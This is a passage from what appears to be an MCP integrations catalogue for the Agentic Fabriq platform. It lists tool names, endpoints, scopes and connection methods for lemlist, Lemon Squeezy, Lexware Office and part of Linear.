campaigns via POST /leads/notinterested/{leadIdOrEmail} POST /api/v1/lemlist/leads/notinterested/{leadIdOrEmail}. Scopes: api. lemlist_post_leads_pause_by_leadid (write) — Pause Lead via POST /leads/pause/{leadId} POST /api/v1/lemlist/leads/pause/{leadId}. Scopes: api. lemlist_post_leads_review_by_leadid (write) — Use this endpoint to launch a lead that is waiting for review, without having to enable campaign-wide auto-review. You're auto launching this specific lead, while still enforcing every other launch guard: the campaign must have no step errors, any AI variables required by the campaign must be valid for the lead, and a sender must be available. No need to enable autolaunch in the campaign. This endpoint requires an `emailPro` plan or higher. via POST /leads/review/{leadId} POST /api/v1/lemlist/leads/review/{leadId}. Scopes: api. lemlist_post_leads_start_by_leadid (write) — Resume Paused Lead via POST /leads/start/{leadId} POST /api/v1/lemlist/leads/start/{leadId}. Scopes: api. lemlist_post_lemwarm_by_usermailboxid_pause (write) — Pause lemwarm via POST /lemwarm/{userMailboxId}/pause POST /api/v1/lemlist/lemwarm/{userMailboxId}/pause. Scopes: api. lemlist_post_lemwarm_by_usermailboxid_start (write) — Start lemwarm via POST /lemwarm/{userMailboxId}/start POST /api/v1/lemlist/lemwarm/{userMailboxId}/start. Scopes: api. lemlist_post_schedules (write) — Create Schedule via POST /schedules POST /api/v1/lemlist/schedules. Scopes: api. lemlist_post_sequences_by_sequenceid_steps (write) — Add Step to Sequence via POST /sequences/{sequenceId}/steps POST /api/v1/lemlist/sequences/{sequenceId}/steps. Scopes: api. lemlist_post_sequences_by_sequenceid_steps_by_stepid_ab_test (write) — Creates variant B of an A/B test on a step, prefilled from variant A, and starts the test (leads are split between A and B). Supported on `email`, `linkedinInvite`, and `linkedinSend` steps. Requires the Email Pro plan. via POST /sequences/{sequenceId}/steps/{stepId}/ab-test POST /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/ab-test. Scopes: api. lemlist_post_sequences_by_sequenceid_steps_by_stepid_ab_test_winner (write) — Selects the winning variant of the A/B test. The winning template is then sent to all remaining leads going through the campaign. Requires the Email Pro plan. via POST /sequences/{sequenceId}/steps/{stepId}/ab-test/winner POST /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/ab-test/winner. Scopes: api. lemlist_post_sequences_by_sequenceid_steps_by_stepid_branches (write) — Adds a branch to a condition step, just before the Else branch, and mints the empty sub-sequence it routes to. Add steps to that branch by calling `POST /sequences/{sequenceId}/steps` with the returned `sequenceId`. A branch carries the value it tests from the moment it is created - there are no blank branches - so the body must say what this one matches. The step's condition is shared by every branch and is never sent here: `conditionKey` in the body is refused. Only four conditions host several branches: `customLeadInfo`, `hasScore`, `hasEmailAddress` and `aircallDone`. Each needs its own tested value in the body, except `hasScore`, whose new branch inherits a complete `>= 80` band and can be added from an empty body. via POST /sequences/{sequenceId}/steps/{stepId}/branches POST /api/v1/lemlist/sequences/{sequenceId}/steps/{stepId}/branches. Scopes: api. lemlist_post_tasks (write) — Create a manual task (opportunity) associated with a contact/company or lead. via POST /tasks POST /api/v1/lemlist/tasks. Scopes: api. lemlist_post_tasks_ignore (write) — Ignore Tasks via POST /tasks/ignore POST /api/v1/lemlist/tasks/ignore. Scopes: api. lemlist_post_unsubscribes_by_email (write) — (deprecated) Add Unsubscribe Email or Domain via POST /unsubscribes/{email} POST /api/v1/lemlist/unsubscribes/{email}. Scopes: api. lemlist_post_user_email_accounts (write) — Connect Email Account via POST /user/email-accounts POST /api/v1/lemlist/user/email-accounts. Scopes: api. lemlist_post_user_email_accounts_by_emailaccountid_test (write) — Test Email Account via POST /user/email-accounts/{emailAccountId}/test POST /api/v1/lemlist/user/email-accounts/{emailAccountId}/test. Scopes: api. lemlist_post_v2_campaigns_stats_batch (write) — Retrieve detailed statistics for multiple campaigns in a single request, with filtering options by date, user, A/B testing, and communication channels. Processes up to 100 campaigns per request. via POST /v2/campaigns/stats/batch POST /api/v1/lemlist/v2/campaigns/stats/batch. Scopes: api. lemlist_post_v2_enrichments_bulk (write) — Send a batch of enrichment requests for multiple entities. Maximum 500 enrichment requests per call. via POST /v2/enrichments/bulk POST /api/v1/lemlist/v2/enrichments/bulk. Scopes: api. lemlist_post_v2_unsubscribes_contacts_by_contactid (write) — Marks a contact as unsubscribed (do-not-contact). via POST /v2/unsubscribes/contacts/{contactId} POST /api/v1/lemlist/v2/unsubscribes/contacts/{contactId}. Scopes: api. lemlist_post_v2_unsubscribes_variables (write) — Unsubscribes up to 10,000 variables in a single request. via POST /v2/unsubscribes/variables POST /api/v1/lemlist/v2/unsubscribes/variables. Scopes: api. lemlist_post_v2_unsubscribes_variables_by_value (write) — Unsubscribes a single variable. This operation is idempotent — if the variable is already unsubscribed, the existing record is returned. via POST /v2/unsubscribes/variables/{value} POST /api/v1/lemlist/v2/unsubscribes/variables/{value}. Scopes: api. lemlist_post_watchlist (write) — Create Signal Agent via POST /watchlist POST /api/v1/lemlist/watchlist. Scopes: api. lemlist_post_watchlist_by_watchlistid_external_signals (write) — Push external signals via POST /watchlist/{watchListId}/external-signals POST /api/v1/lemlist/watchlist/{watchListId}/external-signals. Scopes: api. lemlist_put_campaigns_by_campaignid_export_by_exportid_email_by_email (write) — Set an email address for a given export. When the export is done, an email with the download URL will be sent to the address provided. via PUT /campaigns/{campaignId}/export/{exportId}/email/{email} PUT /api/v1/lemlist/campaigns/{campaignId}/export/{exportId}/email/{email}. Scopes: api. ================================================================================ ## Lemon Squeezy URL: https://www.agenticfabriq.com/integrations/lemonsqueezy Section: Integrated Tools Lemon Squeezy — 60 MCP tools Provider key: lemonsqueezy. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. lemonsqueezy_activate_license_key (write) — Activate a License Key via POST /v1/licenses/activate POST /api/v1/lemonsqueezy/v1/licenses/activate. Scopes: api. lemonsqueezy_cancel_subscription (write, destructive) — Cancel a Subscription via DELETE /v1/subscriptions/{subscription_id} DELETE /api/v1/lemonsqueezy/v1/subscriptions/{subscription_id}. Scopes: api. lemonsqueezy_create_checkout (write) — Create a Checkout via POST /v1/checkouts POST /api/v1/lemonsqueezy/v1/checkouts. Scopes: api. lemonsqueezy_create_customer (write) — Create a Customer via POST /v1/customers POST /api/v1/lemonsqueezy/v1/customers. Scopes: api. lemonsqueezy_create_discount (write) — Create a Discount via POST /v1/discounts POST /api/v1/lemonsqueezy/v1/discounts. Scopes: api. lemonsqueezy_create_usage_record (write) — Create a Usage Record via POST /v1/usage-records POST /api/v1/lemonsqueezy/v1/usage-records. Scopes: api. lemonsqueezy_create_webhook (write) — Create a Webhook via POST /v1/webhooks POST /api/v1/lemonsqueezy/v1/webhooks. Scopes: api. lemonsqueezy_deactivate_license_key (write, destructive) — Deactivate a License Key via POST /v1/licenses/deactivate POST /api/v1/lemonsqueezy/v1/licenses/deactivate. Scopes: api. lemonsqueezy_delete_discount (write, destructive) — Delete a Discount via DELETE /v1/discounts/{discount_id} DELETE /api/v1/lemonsqueezy/v1/discounts/{discount_id}. Scopes: api. lemonsqueezy_delete_webhook (write, destructive) — Delete a Webhook via DELETE /v1/webhooks/{webhook_id} DELETE /api/v1/lemonsqueezy/v1/webhooks/{webhook_id}. Scopes: api. lemonsqueezy_generate_order_invoice (write) — Generate Order Invoice via POST /v1/orders/{order_id}/generate-invoice POST /api/v1/lemonsqueezy/v1/orders/{order_id}/generate-invoice. Scopes: api. lemonsqueezy_generate_subscription_invoice (write) — Generate a Subscription Invoice via POST /v1/subscription-invoices/{subscription_invoice_id}/generate-invoice POST /api/v1/lemonsqueezy/v1/subscription-invoices/{subscription_invoice_id}/generate-invoice. Scopes: api. lemonsqueezy_issue_order_refund (write, destructive) — Issue order refund via POST /v1/orders/{order_id}/refund POST /api/v1/lemonsqueezy/v1/orders/{order_id}/refund. Scopes: api. lemonsqueezy_issue_subscription_invoice_refund (write, destructive) — Issue subscription invoice refund via POST /v1/subscription-invoices/{subscription_invoice_id}/refund POST /api/v1/lemonsqueezy/v1/subscription-invoices/{subscription_invoice_id}/refund. Scopes: api. lemonsqueezy_list_all_affiliates (read) — List All Affiliates via GET /v1/affiliates GET /api/v1/lemonsqueezy/v1/affiliates. Scopes: api. lemonsqueezy_list_all_checkouts (read) — List All Checkouts via GET /v1/checkouts GET /api/v1/lemonsqueezy/v1/checkouts. Scopes: api. lemonsqueezy_list_all_customers (read) — List All Customers via GET /v1/customers GET /api/v1/lemonsqueezy/v1/customers. Scopes: api. lemonsqueezy_list_all_discount_redemptions (read) — List All Discount Redemptions via GET /v1/discount-redemptions GET /api/v1/lemonsqueezy/v1/discount-redemptions. Scopes: api. lemonsqueezy_list_all_discounts (read) — List All Discounts via GET /v1/discounts GET /api/v1/lemonsqueezy/v1/discounts. Scopes: api. lemonsqueezy_list_all_files (read) — List All Files via GET /v1/files GET /api/v1/lemonsqueezy/v1/files. Scopes: api. lemonsqueezy_list_all_license_key_instances (read) — List All License Key Instances via GET /v1/license-key-instances GET /api/v1/lemonsqueezy/v1/license-key-instances. Scopes: api. lemonsqueezy_list_all_license_keys (read) — List All License Keys via GET /v1/license-keys GET /api/v1/lemonsqueezy/v1/license-keys. Scopes: api. lemonsqueezy_list_all_order_items (read) — List All Order Items via GET /v1/order-items GET /api/v1/lemonsqueezy/v1/order-items. Scopes: api. lemonsqueezy_list_all_orders (read) — List All Orders via GET /v1/orders GET /api/v1/lemonsqueezy/v1/orders. Scopes: api. lemonsqueezy_list_all_prices (read) — List All Prices via GET /v1/prices GET /api/v1/lemonsqueezy/v1/prices. Scopes: api. lemonsqueezy_list_all_products (read) — List All Products via GET /v1/products GET /api/v1/lemonsqueezy/v1/products. Scopes: api. lemonsqueezy_list_all_stores (read) — List All Stores via GET /v1/stores GET /api/v1/lemonsqueezy/v1/stores. Scopes: api. lemonsqueezy_list_all_subscription_invoices (read) — List All Subscription Invoices via GET /v1/subscription-invoices GET /api/v1/lemonsqueezy/v1/subscription-invoices. Scopes: api. lemonsqueezy_list_all_subscription_items (read) — List All Subscription Items via GET /v1/subscription-items GET /api/v1/lemonsqueezy/v1/subscription-items. Scopes: api. lemonsqueezy_list_all_subscriptions (read) — List All Subscriptions via GET /v1/subscriptions GET /api/v1/lemonsqueezy/v1/subscriptions. Scopes: api. lemonsqueezy_list_all_usage_records (read) — List All Usage Records via GET /v1/usage-records GET /api/v1/lemonsqueezy/v1/usage-records. Scopes: api. lemonsqueezy_list_all_variants (read) — List All Variants via GET /v1/variants GET /api/v1/lemonsqueezy/v1/variants. Scopes: api. lemonsqueezy_list_all_webhooks (read) — List All Webhooks via GET /v1/webhooks GET /api/v1/lemonsqueezy/v1/webhooks. Scopes: api. lemonsqueezy_retrieve_affiliate (read) — Retrieve an Affiliate via GET /v1/affiliates/{affiliate_id} GET /api/v1/lemonsqueezy/v1/affiliates/{affiliate_id}. Scopes: api. lemonsqueezy_retrieve_checkout (read) — Retrieve a Checkout via GET /v1/checkouts/{checkout_id} GET /api/v1/lemonsqueezy/v1/checkouts/{checkout_id}. Scopes: api. lemonsqueezy_retrieve_customer (read) — Retrieve a Customer via GET /v1/customers/{customer_id} GET /api/v1/lemonsqueezy/v1/customers/{customer_id}. Scopes: api. lemonsqueezy_retrieve_discount (read) — Retrieve a Discount via GET /v1/discounts/{discount_id} GET /api/v1/lemonsqueezy/v1/discounts/{discount_id}. Scopes: api. lemonsqueezy_retrieve_discount_redemption (read) — Retrieve a Discount Redemption via GET /v1/discount-redemptions/{discount_redemption_id} GET /api/v1/lemonsqueezy/v1/discount-redemptions/{discount_redemption_id}. Scopes: api. lemonsqueezy_retrieve_file (read) — Retrieve a File via GET /v1/files/{file_id} GET /api/v1/lemonsqueezy/v1/files/{file_id}. Scopes: api. lemonsqueezy_retrieve_license_key (read) — Retrieve a License Key via GET /v1/license-keys/{license_key_id} GET /api/v1/lemonsqueezy/v1/license-keys/{license_key_id}. Scopes: api. lemonsqueezy_retrieve_license_key_instance (read) — Retrieve a License Key Instance via GET /v1/license-key-instances/{license_key_instance_id} GET /api/v1/lemonsqueezy/v1/license-key-instances/{license_key_instance_id}. Scopes: api. lemonsqueezy_retrieve_order (read) — Retrieve an Order via GET /v1/orders/{order_id} GET /api/v1/lemonsqueezy/v1/orders/{order_id}. Scopes: api. lemonsqueezy_retrieve_order_item (read) — Retrieve an Order Item via GET /v1/order-items/{order_item_id} GET /api/v1/lemonsqueezy/v1/order-items/{order_item_id}. Scopes: api. lemonsqueezy_retrieve_price (read) — Retrieve a Price via GET /v1/prices/{price_id} GET /api/v1/lemonsqueezy/v1/prices/{price_id}. Scopes: api. lemonsqueezy_retrieve_product (read) — Retrieve a Product via GET /v1/products/{product_id} GET /api/v1/lemonsqueezy/v1/products/{product_id}. Scopes: api. lemonsqueezy_retrieve_store (read) — Retrieve a Store via GET /v1/stores/{store_id} GET /api/v1/lemonsqueezy/v1/stores/{store_id}. Scopes: api. lemonsqueezy_retrieve_subscription (read) — Retrieve a Subscription via GET /v1/subscriptions/{subscription_id} GET /api/v1/lemonsqueezy/v1/subscriptions/{subscription_id}. Scopes: api. lemonsqueezy_retrieve_subscription_invoice (read) — Retrieve a Subscription Invoice via GET /v1/subscription-invoices/{subscription_invoice_id} GET /api/v1/lemonsqueezy/v1/subscription-invoices/{subscription_invoice_id}. Scopes: api. lemonsqueezy_retrieve_subscription_item (read) — Retrieve a Subscription Item via GET /v1/subscription-items/{subscription_item_id} GET /api/v1/lemonsqueezy/v1/subscription-items/{subscription_item_id}. Scopes: api. lemonsqueezy_retrieve_subscription_item_current_usage (read) — Retrieve Subscription Item's Current Usage via GET /v1/subscription-items/{subscription_item_id}/current-usage GET /api/v1/lemonsqueezy/v1/subscription-items/{subscription_item_id}/current-usage. Scopes: api. lemonsqueezy_retrieve_usage_record (read) — Retrieve a Usage Record via GET /v1/usage-records/{usage_record_id} GET /api/v1/lemonsqueezy/v1/usage-records/{usage_record_id}. Scopes: api. lemonsqueezy_retrieve_user (read) — Retrieve User via GET /v1/users/me GET /api/v1/lemonsqueezy/v1/users/me. Scopes: api. lemonsqueezy_retrieve_variant (read) — Retrieve a Variant via GET /v1/variants/{variant_id} GET /api/v1/lemonsqueezy/v1/variants/{variant_id}. Scopes: api. lemonsqueezy_retrieve_webhook (read) — Retrieve a Webhook via GET /v1/webhooks/{webhook_id} GET /api/v1/lemonsqueezy/v1/webhooks/{webhook_id}. Scopes: api. lemonsqueezy_update_customer (write) — Update a Customer via PATCH /v1/customers/{customer_id} PATCH /api/v1/lemonsqueezy/v1/customers/{customer_id}. Scopes: api. lemonsqueezy_update_license_key (write) — Update a License Key via PATCH /v1/license-keys/{license_key_id} PATCH /api/v1/lemonsqueezy/v1/license-keys/{license_key_id}. Scopes: api. lemonsqueezy_update_subscription (write) — Update a Subscription via PATCH /v1/subscriptions/{subscription_id} PATCH /api/v1/lemonsqueezy/v1/subscriptions/{subscription_id}. Scopes: api. lemonsqueezy_update_subscription_item (write) — Update a Subscription Item via PATCH /v1/subscription-items/{subscription_item_id} PATCH /api/v1/lemonsqueezy/v1/subscription-items/{subscription_item_id}. Scopes: api. lemonsqueezy_update_webhook (write) — Update a Webhook via PATCH /v1/webhooks/{webhook_id} PATCH /api/v1/lemonsqueezy/v1/webhooks/{webhook_id}. Scopes: api. lemonsqueezy_validate_license_key (read) — Validate a License Key via POST /v1/licenses/validate POST /api/v1/lemonsqueezy/v1/licenses/validate. Scopes: api. ================================================================================ ## Lexware Office URL: https://www.agenticfabriq.com/integrations/lexoffice Section: Integrated Tools Lexware Office — 44 MCP tools Provider key: lexoffice. Scopes: articles.read, articles.write, contacts.read, contacts.write, credit-notes.read, credit-notes.write, delivery-notes.read, delivery-notes.write, dunnings.read, dunnings.write, invoices.read, invoices.write, order-confirmations.read, order-confirmations.write, payments.read, profile.read, quotations.read, quotations.write, recurring-templates.read, voucherlist.read, vouchers.read, vouchers.write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. lexoffice_delete_v1_articles_by_id (write, destructive) — Deletes the article with id value {id}. Returns 204 on success, or 404 if the id does not exist. via DELETE /v1/articles/{id} DELETE /api/v1/lexoffice/v1/articles/{id}. Scopes: articles.write. lexoffice_delete_v1_event_subscriptions_by_subscriptionid (write, destructive) — Deletes an event subscription with the id {subscriptionId}. On success, you will receive a status code 204 (No Content). via DELETE /v1/event-subscriptions/{subscriptionId} DELETE /api/v1/lexoffice/v1/event-subscriptions/{subscriptionId}. Scopes: none. lexoffice_get_v1_articles (read) — Returns the articles that fulfill the criteria given by filters filter_1 to filter_n using a paging mechanism. If more than one filter is given, the logical connector is AND. Filters that are not set are ignored. To check the maximum page size for this endpoint, see Paging of Resources. via GET /v1/articles GET /api/v1/lexoffice/v1/articles. Scopes: articles.read. lexoffice_get_v1_articles_by_id (read) — Returns the article with id value {id}. via GET /v1/articles/{id} GET /api/v1/lexoffice/v1/articles/{id}. Scopes: articles.read. lexoffice_get_v1_contacts (read) — Returns the contacts that fulfill the criteria given by filters filter_1 to filter_n using a paging mechanism. If more than one filter is given, the logical connector is AND. Filters that are not set are ignored. To check the maximum page size for this endpoint, see Paging of Resources. via GET /v1/contacts GET /api/v1/lexoffice/v1/contacts. Scopes: contacts.read. lexoffice_get_v1_contacts_by_id (read) — Returns the contact with id value {id}. via GET /v1/contacts/{id} GET /api/v1/lexoffice/v1/contacts/{id}. Scopes: contacts.read. lexoffice_get_v1_countries (read) — Retrieve list of currently known countries. via GET /v1/countries GET /api/v1/lexoffice/v1/countries. Scopes: none. lexoffice_get_v1_credit_notes_by_id (read) — Returns the credit note with id value {id}. via GET /v1/credit-notes/{id} GET /api/v1/lexoffice/v1/credit-notes/{id}. Scopes: credit-notes.read. lexoffice_get_v1_credit_notes_by_id_document (read) — To download the PDF file of a credit note document, you need its documentFileId. This id is usually returned by the credit note resource. However, PDF document file rendering must be triggered separately via this endpoint for credit notes created through the API with the status open. via GET /v1/credit-notes/{id}/document GET /api/v1/lexoffice/v1/credit-notes/{id}/document. Scopes: credit-notes.read. lexoffice_get_v1_delivery_notes_by_id (read) — Returns the delivery note with id value {id}. via GET /v1/delivery-notes/{id} GET /api/v1/lexoffice/v1/delivery-notes/{id}. Scopes: delivery-notes.read. lexoffice_get_v1_delivery_notes_by_id_document (read) — To download the PDF file of a delivery note document, you need its documentFileId. This id is usually returned by the delivery note resource. However, PDF document file rendering must be triggered separately via this endpoint for delivery notes created through the API with the status open. via GET /v1/delivery-notes/{id}/document GET /api/v1/lexoffice/v1/delivery-notes/{id}/document. Scopes: delivery-notes.read. lexoffice_get_v1_down_payment_invoices_by_id (read) — Returns the down payment invoice with id value {id}. via GET /v1/down-payment-invoices/{id} GET /api/v1/lexoffice/v1/down-payment-invoices/{id}. Scopes: invoices.read. lexoffice_get_v1_dunnings_by_id (read) — Returns the dunning with id value {id}. via GET /v1/dunnings/{id} GET /api/v1/lexoffice/v1/dunnings/{id}. Scopes: dunnings.read. lexoffice_get_v1_dunnings_by_id_document (read) — To download the PDF file of a dunning document, you need its documentFileId. This id is usually returned by the dunning resource. However, PDF document file rendering must be triggered separately via this endpoint for dunnings created through the API. via GET /v1/dunnings/{id}/document GET /api/v1/lexoffice/v1/dunnings/{id}/document. Scopes: dunnings.read. lexoffice_get_v1_event_subscriptions (read) — Returns all your event subscriptions. via GET /v1/event-subscriptions GET /api/v1/lexoffice/v1/event-subscriptions. Scopes: none. lexoffice_get_v1_event_subscriptions_by_subscriptionid (read) — Returns the event subscription with the id {subscriptionId}. via GET /v1/event-subscriptions/{subscriptionId} GET /api/v1/lexoffice/v1/event-subscriptions/{subscriptionId}. Scopes: none. lexoffice_get_v1_invoices_by_id (read) — Returns the invoice with id value {id}. via GET /v1/invoices/{id} GET /api/v1/lexoffice/v1/invoices/{id}. Scopes: invoices.read. lexoffice_get_v1_invoices_by_id_document (read) — To download the PDF file of an invoice document, you need its documentFileId. This id is usually returned by the invoice resource. However, PDF document file rendering must be triggered separately via this endpoint for invoices created through the API with the status open. via GET /v1/invoices/{id}/document GET /api/v1/lexoffice/v1/invoices/{id}/document. Scopes: invoices.read. lexoffice_get_v1_order_confirmations_by_id (read) — Returns the order confirmation with id value {id}. via GET /v1/order-confirmations/{id} GET /api/v1/lexoffice/v1/order-confirmations/{id}. Scopes: order-confirmations.read. lexoffice_get_v1_order_confirmations_by_id_document (read) — To download the PDF file of an order confirmation document, you need its documentFileId. This id is usually returned by the order confirmation resource. However, PDF document file rendering must be triggered separately via this endpoint for order confirmations created through the API with the status open. via GET /v1/order-confirmations/{id}/document GET /api/v1/lexoffice/v1/order-confirmations/{id}/document. Scopes: order-confirmations.read. lexoffice_get_v1_payment_conditions (read) — Retrieve list of currently configured payment conditions. via GET /v1/payment-conditions GET /api/v1/lexoffice/v1/payment-conditions. Scopes: none. lexoffice_get_v1_payments_by_voucherid (read) — Retrieve payment information of a voucher. via GET /v1/payments/{voucherId} GET /api/v1/lexoffice/v1/payments/{voucherId}. Scopes: payments.read. lexoffice_get_v1_posting_categories (read) — Retrieve list of currently known posting categories. via GET /v1/posting-categories GET /api/v1/lexoffice/v1/posting-categories. Scopes: none. lexoffice_get_v1_print_layouts (read) — Retrieve the list of print layouts. Lexware accepts ANY sales-voucher read scope for this call; the connection is checked for invoices.read here. via GET /v1/print-layouts GET /api/v1/lexoffice/v1/print-layouts. Scopes: invoices.read. lexoffice_get_v1_profile (read) — Retrieve your basic profile information. via GET /v1/profile GET /api/v1/lexoffice/v1/profile. Scopes: profile.read. lexoffice_get_v1_quotations_by_id (read) — Returns the quotation with id value {id}. via GET /v1/quotations/{id} GET /api/v1/lexoffice/v1/quotations/{id}. Scopes: quotations.read. lexoffice_get_v1_quotations_by_id_document (read) — To download the PDF file of a quotation document, you need its documentFileId. This id is usually returned by the quotation resource. However, PDF document file rendering must be triggered separately via this endpoint for quotations created through the API with the status open. via GET /v1/quotations/{id}/document GET /api/v1/lexoffice/v1/quotations/{id}/document. Scopes: quotations.read. lexoffice_get_v1_recurring_templates (read) — Retrieve a collection of recurring templates. The result returns only part of the most relevant data which are the referenced contact (only id and name), total price, payment conditions and the complete recurring templates settings. The naming of objects and properties are the same, though. via GET /v1/recurring-templates GET /api/v1/lexoffice/v1/recurring-templates. Scopes: recurring-templates.read. lexoffice_get_v1_recurring_templates_by_id (read) — Returns the recurring template with id value {id}. via GET /v1/recurring-templates/{id} GET /api/v1/lexoffice/v1/recurring-templates/{id}. Scopes: recurring-templates.read. lexoffice_get_v1_voucherlist (read) — To check the maximum page size for this endpoint, see Paging of Resources. via GET /v1/voucherlist GET /api/v1/lexoffice/v1/voucherlist. Scopes: voucherlist.read. lexoffice_get_v1_vouchers_by_id (read) — Returns the voucher with id value {id}. via GET /v1/vouchers/{id} GET /api/v1/lexoffice/v1/vouchers/{id}. Scopes: vouchers.read. lexoffice_post_v1_articles (write) — The contents of the article are expected in the request’s body as an application/json. via POST /v1/articles POST /api/v1/lexoffice/v1/articles. Scopes: articles.write. lexoffice_post_v1_contacts (write) — The contents of the contact are expected in the request’s body as an application/json. via POST /v1/contacts POST /api/v1/lexoffice/v1/contacts. Scopes: contacts.write. lexoffice_post_v1_credit_notes (write) — Credit notes transmitted via the API are created in draft mode per default. To create a finalized credit note with status open the optional query parameter finalize has to be set. The status of a credit note cannot be changed via the api. The created credit note will be shown in the main voucher list in Lexware: https://app.lexware-sandbox.de/vouchers. To provide your customers access to the created credit note please use our deeplink function. via POST /v1/credit-notes POST /api/v1/lexoffice/v1/credit-notes. Scopes: credit-notes.write. lexoffice_post_v1_delivery_notes (write) — Delivery notes transmitted via the API are created in draft mode per default. To create a finalized delivery note with status open the optional query parameter finalize has to be set. The status of a delivery note cannot be changed via the api. The created delivery note will be shown in the main voucher list in Lexware: https://app.lexware-sandbox.de/vouchers. To provide your customers access to the created delivery note please use our deeplink function. via POST /v1/delivery-notes POST /api/v1/lexoffice/v1/delivery-notes. Scopes: delivery-notes.write. lexoffice_post_v1_dunnings (write) — The created dunning will not be shown in the main voucher list in Lexware, but will be attached to an invoice and will be visible there. To provide your customers access to the created dunning please use our deeplink function. The contents of the dunning are expected in the request's body as an application/json and must not contain read-only fields. via POST /v1/dunnings POST /api/v1/lexoffice/v1/dunnings. Scopes: dunnings.write. lexoffice_post_v1_event_subscriptions (write) — To subscribe to an event, provide the event type and the webhook callback url in the request body. The endpoint returns an action result (HTTP status code 201 Created) on success. Additionally, the Location header returns the resource url. via POST /v1/event-subscriptions POST /api/v1/lexoffice/v1/event-subscriptions. Scopes: none. lexoffice_post_v1_invoices (write) — Invoices transmitted via the API are created in draft mode per default. To create a finalized invoice with status open the optional query parameter finalize has to be set. The status of an invoice cannot be changed via the api. The created invoice will be shown in the main voucher list in Lexware: https://app.lexware-sandbox.de/vouchers. To provide your end-users access to the created invoice please use our deeplink function. via POST /v1/invoices POST /api/v1/lexoffice/v1/invoices. Scopes: invoices.write. lexoffice_post_v1_order_confirmations (write) — Order confirmations transmitted via the API are created in draft mode per default. To create a finalized order confirmation with status open the optional query parameter finalize has to be set. The contents of the order confirmation are expected in the request's body as an application/json and must not contain read-only fields. via POST /v1/order-confirmations POST /api/v1/lexoffice/v1/order-confirmations. Scopes: order-confirmations.write. lexoffice_post_v1_quotations (write) — Quotations transmitted via the API are created in draft mode per default. To create a finalized quotation with status open the optional query parameter finalize has to be set. The status of a quotation cannot be changed via the api. The created quotation will be shown in the main voucher list in Lexware: https://app.lexware-sandbox.de/vouchers. To provide your end-users access to the created quotation please use our deeplink function. via POST /v1/quotations POST /api/v1/lexoffice/v1/quotations. Scopes: quotations.write. lexoffice_post_v1_vouchers (write) — The contents of the voucher are expected in the request's body as an application/json. The contents of the voucher must not contain read-only fields. The created voucher will be shown in the main voucher list in Lexware: https://app.lexware-sandbox.de/vouchers. via POST /v1/vouchers POST /api/v1/lexoffice/v1/vouchers. Scopes: vouchers.write. lexoffice_put_v1_articles_by_id (write) — Update an existing article with id {id} with the data given in the payload as JSON. Returns an action result on success. For information about required fields please see Create an article. via PUT /v1/articles/{id} PUT /api/v1/lexoffice/v1/articles/{id}. Scopes: articles.write. lexoffice_put_v1_contacts_by_id (write) — Update an existing contact with id {id} with the data given in the payload as JSON. Returns an action result on success. For information about required fields please see Create a contact. via PUT /v1/contacts/{id} PUT /api/v1/lexoffice/v1/contacts/{id}. Scopes: contacts.write. lexoffice_put_v1_vouchers_by_id (write) — When you have retrieved a voucher via GET that is identified by {id}, it's possible to update or merge it with the latest information of the requesting system, so that e. g. read-only fields will be filled with the latest Lexware information - e.g. id, organizationId and version. Although the voucherStatus attribute reflects the voucher's current (billing) status, it is not possible to change that state using the API, except for the finalization of a voucher from unchecked to open. Apart from that, a voucher with state unchecked may be not updated. via PUT /v1/vouchers/{id} PUT /api/v1/lexoffice/v1/vouchers/{id}. Scopes: vouchers.write. ================================================================================ ## Linear URL: https://www.agenticfabriq.com/integrations/linear Section: Integrated Tools Linear — 272 MCP tools Provider key: linear. Scopes: comments:create, issues:create, read, write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. linear_add_initiative_label (write) — Attach ONE existing initiative label to an initiative. Takes the initiative id from linear_list_initiatives and the label id from linear_list_initiative_labels - do not transpose them. Labels already on the initiative are untouched. Undone by linear_remove_initiative_label. Use linear_create_initiative_label first if the label does not exist yet. POST /api/v1/tools/linear/initiative-labels/add. Scopes: write. linear_add_issue_label (write) — Add ONE label to an issue without touching the labels already on it. Prefer this over linear_update_issue's label_ids, which REPLACES the whole set: an agent that read a truncated label list and then wrote it back would silently drop the labels it never saw. Reversed by linear_remove_issue_label. POST /api/v1/tools/linear/issues/labels/add. Scopes: write. linear_add_issue_to_release (write) — Link a Linear issue to a release. issue_id accepts a UUID OR an identifier like ENG-123; release_id must be a UUID from linear_list_releases. Neither the issue nor the release is otherwise changed. This is the undo for linear_remove_issue_from_release and linear_remove_issue_release_link. To link many issues from a build at once, use linear_sync_release. POST /api/v1/tools/linear/issue-releases. Scopes: write. linear_add_project_label (write) — Add ONE label to a project without disturbing the labels already on it. The additive alternative to linear_update_project's label_ids, which replaces the whole set. POST /api/v1/tools/linear/projects/labels/add. Scopes: write. linear_add_project_to_initiative (write) — Attach a project to an initiative. Creates a membership row and changes neither the project nor the initiative; removed by linear_remove_project_from_initiative. The row id this returns is what that removal takes. POST /api/v1/tools/linear/initiatives/projects/add. Scopes: write. linear_add_project_to_roadmap (write) — Add a Linear project to 